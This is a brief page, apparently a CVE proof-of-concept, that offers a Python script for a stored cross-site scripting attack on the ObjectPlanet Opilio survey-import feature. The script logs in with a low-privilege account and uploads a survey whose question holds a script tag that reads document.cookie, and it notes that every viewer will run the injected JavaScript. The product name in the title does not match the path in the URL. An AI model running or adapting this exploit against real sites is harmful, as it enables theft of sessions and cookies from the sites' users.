CVE-2025-13873 ObjectPlanet Opilio survey-import存储型XSS漏洞

import requests import json # CVE-2025-13873 PoC - Stored XSS in ObjectPlanet Opilio survey-import # Target: ObjectPlanet Opilio 7.26 rev12562 TARGET_URL = "http://target.com/opinio" LOGIN_URL = f"{TARGET_URL}/user/login" IMPORT_URL = f"{TARGET_URL}/admin/survey/import" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "username": "attacker_user", "password": "password123" } response = session.post(LOGIN_URL, data=login_data) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Upload malicious survey with XSS payload malicious_survey = { "name": "Malicious Survey", "questions": [ { "text": "<script>alert(document.cookie)</script>", "type": "text" } ] } files = { "surveyFile": ("malicious_survey.xml", json.dumps(malicious_survey), "application/xml") } response = session.post(IMPORT_URL, files=files) if "success" in response.text.lower(): print("[+] Malicious survey imported successfully") print("[+] XSS payload stored in survey-import feature") print("[+] Any user accessing this survey will execute the injected JavaScript") else: print("[-] Failed to import malicious survey")